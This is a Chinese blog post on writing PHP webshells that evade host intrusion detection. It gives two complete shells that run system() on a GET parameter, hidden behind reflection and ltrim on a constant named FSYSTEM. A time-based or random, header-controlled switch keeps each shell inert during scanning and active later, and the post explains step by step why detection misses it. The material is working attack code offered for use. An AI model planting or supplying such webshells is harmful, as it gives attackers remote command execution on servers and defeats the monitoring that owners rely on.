当前位置: 首页 > article >正文

WEB安全--RCE--webshell HIDS bypass4

继WEB安全--RCE--webshell HIDS bypass3的补充:

十三、时间开关

webshell:

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}echo 'Default value: ' . ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>

原理:

核心位置

$n='F' 
if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}

或运算符“||”也叫短路运算符,当前者成立就不会再判断后者了

我们回过头来看$da->getTimestamp()>=1725329100||$n='1' ,当$da->getTimestamp()>=1725329100为假,$n='1'就会执行赋值的操作,这时$n的值就由'F'变为'1',但是当$da->getTimestamp()>=1725329100为真,那么就不会执行$n='1'的操作,$n='F'的值就不变了。

我们的核心思想是:在上传webshell给hids检测时$da->getTimestamp()>=1725329100这个条件是假的,当然就不会被查杀,但是过了一段时间这个条件就为真了,我们这个时候访问webshell就能执行命令了。

function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');

创建一个函数传递内容,再用反射获取该函数

foreach ($function->getParameters() as $param) 

遍历取出内容

$param->getDefaultValueConstantName()

这里的参数为FSYSTEM

ltrim($param->getDefaultValueConstantName(),$n)

此时满足时间条件,$n='F',ltrim从参数的默认值常量名中去掉前导的$n,也就是说FSYSTEM会变成SYSTEM,就能构成命令执行

十四、随机开关

webshell:

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>

原理:

大致原理和时间开关相同。

核心位置

$p = new ParseError($_SERVER[HTTP_A]);
$n='F';
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}

$p->getMessage()??100:指如果前者有值就取前者,反之取后者的值

mt_rand(1,10):在1-10的闭区间随机取一个值

思考:如果在ParseError()中传入55,那么$p->getMessage()的值就是55,也就是说mt_rand(55,55) ==>55,if(55==55 || $n='1')第一个条件为真就不会进行$n='1'的操作,$n='F',就能截取FSYSTEM中的F了。

http://www.lryc.cn/news/2393197.html

相关文章:

  • 基于python+Django+Mysql的校园二手交易市场
  • 从零打造算法题刷题助手:Agent搭建保姆级攻略
  • Oracle 12c新增的数字转换验证VALIDATE_CONVERSION函数
  • 参数/非参数检验和连续/离散/分类等变量类型的关系
  • 懒人云电脑方案:飞牛NAS远程唤醒 + 节点小宝一键唤醒、远程控制Windows!
  • 【Python】第一弹:对 Python 的认知
  • 直播预告 | 聚焦芯必达|打造可靠高效的国产 MCU 与智能 SBC 汽车解决方案
  • Java源码中有哪些细节可以参考?(持续更新)
  • GelSight Mini触觉传感器:7μm精度+3D 映射,赋能具身智能精密操作
  • day 23 机器学习管道(pipeline)
  • shell编程笔记
  • 鸿蒙仓颉开发语言实战教程:自定义组件
  • 基于Spring Boot+Vue 网上书城管理系统设计与实现(源码+文档+部署讲解)
  • opencvsharp usb摄像头录像 c# H264编码
  • ch12 课堂参考代码 及 题目参考思路
  • uniapp 实现腾讯云 IM 消息已读回执
  • JavaScript 性能优化按层次逐步分析
  • 三分钟打通Stable Diffusion提示词(附实战手册)
  • 【Linux网络篇】:初步理解应用层协议以及何为序列化和反序列化
  • RK3588 Opencv-ffmpeg-rkmpp-rkrga编译与测试
  • 特伦斯 S75 电钢琴:奏响极致音乐体验的华丽乐章
  • 硬件学习笔记--64 MCU的ARM核架构发展及特点
  • div或button一些好看实用的 CSS 样式示例
  • USB充电检测仪-2.USB充电检测仪硬件设计
  • 如何查询服务器的端口号
  • AU6815集成音频DSP的2x25W数字型ClaSS D音频功率放大器(替代TAS5805)
  • DeepSeek R1开源模型的技术突破与AI产业格局的重构
  • 打破认知壁垒重构科技驱动美好生活 大模型义务传播计划
  • 【Web应用】 Java + Vue 前后端开发中的Cookie、Token 和 Swagger介绍
  • 本地部署AI工作流